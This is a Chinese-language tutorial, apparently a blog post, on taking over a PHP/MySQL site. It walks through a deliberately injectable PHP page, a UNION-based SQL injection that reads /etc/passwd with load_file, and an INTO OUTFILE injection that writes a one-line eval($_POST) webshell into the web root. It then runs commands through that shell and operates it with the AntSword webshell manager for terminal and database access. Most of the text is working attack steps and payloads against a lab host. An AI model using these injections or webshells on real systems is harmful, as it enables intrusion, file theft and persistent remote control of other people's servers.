木马蚁剑使用

06-木马蚁剑

1 读写权限确认

数据库对文件的权限确认

show global variables like '%secure%';
查看mysql全局变量的配置,当输入以上命令后,结果
secure_file_priv = 空的时候,任意读写,存在严重的安全风险
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写

2 读取文件内容

  1. 数据准备:

demo-sql.php

<?php
    include "dbUtil.php";
    function findById($id){
        //1.连接数据库 参数说明: ip 账号 密码 数据库
        $conn = mysqli_connect("192.172.10.24",'root','root','php_demo_db'); 
        //2.设置编码格式utf-8
        mysqli_query($conn,"set names utf8");
        //写sql
        $sql = "select * from userinfo where id=$id";
        //执行sql
        $res = mysqli_query($conn,$sql) or die("执行失败".mysqli_errno($conn));
        //拿到查询结果
        $arr = mysqli_fetch_row($res);
        print_r($arr);
        //打印sql   
        echo "<br>";  
        echo $sql;
    }
    $id = $_GET["id"];
    findById($id);
?>

2)sql注入

利用SQL语句读取系统文件,先读取常规文件(明确路径),如果能成功读取,则继续读取其他文件。如果明确知道路径,则直接尝试爆破路径下的文件,如果连路径都不知道,则爆破路径。

# 发送请求,读取文件,最后可读
http://192.168.190.133/demo/6-target/demo6-sql.php?id=1 union  select 1,2,3,(select load_file("/etc/passwd")) limit 1,1

结果:

image-20240527221915321

3 木马函数

  • eval():只能执行代码
  • assert():可以执行代码,也可以把字符串解析为代码执行

案例:

<?php
    eval(phpinfo()); // 加上双引号就不可以使用了
	eval(system(ifconfig));
	assert("phpinfo()"); // 更强大,可以执行字符串
    ?>

4 写入木马

百度搜索:大马 小马 一句话木马

前提:操作的系统目录要有其它用户的写权限,否者无法写入

数据库写法

select * from userinfo where id=1 union select 1,2,3,'aaa' into OUTFILE '/opt/lampp/htdocs/aa.txt' 

查询

1 union select 1,2,3,(select load_file('/opt/lampp/htdocs/aa.txt')) limit 1,1

先看一个正确的,否者语法报错

image-20240527221945160

1)原理

# sql语句中有单引号,所以木马文件内容需要使用双引号
select * from userinfo where id=1 union  select 1,2,"<?php eval($_POST['code']) ?>",4 into outfile '/opt/lampp/htdocs/demo/6-target/mm.php'

2)开始写入木马

http://192.168.190.133/demo/6-target/demo6-sql.php?id=1 union  select 1,2, "<?php eval($_POST['code']) ?>",4 into outfile '/opt/lampp/htdocs/demo/6-target/mm.php'

3)通过浏览器访问木马文件

http://192.172.10.24/crm/php/mm.php
post正文:
code=phpinfo();
code=system(ifconfig);

木马植入成功结果:

image-20240528194341691

5 蚁剑getshell

5.1 部署

1)查看文件

image-20240528194636082

2)解压文件

3)初始化

image-20240528195055794

4)点击初始化

image-20240528195551437

5)生成桌面快捷方式

5.2 必要条件

  • 在web服务中,必须存在含有一句话木马的文件,通过http协议可以访问木马文件。
  • 必须使用post请求
<?php eval($_POST['code'])?>

5.3 使用

1)启动

image-20240528195723864

2)鼠标右键,选择添加数据

image-20240528195857251

3)点击添加

image-20240528195930082

4)双击打开数据管理,可以直接拿到操作系统中的很多数据

image-20240528200008401

5)返回上级目录

image-20240528200042163

6)右键,选择虚拟终端

image-20240528200117639

7)在shell中直接操作命令

image-20240528200150890

8)也可以右键,直接连接到数据库

image-20240528200424721

9)添加数据库连接

image-20240528200524456

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值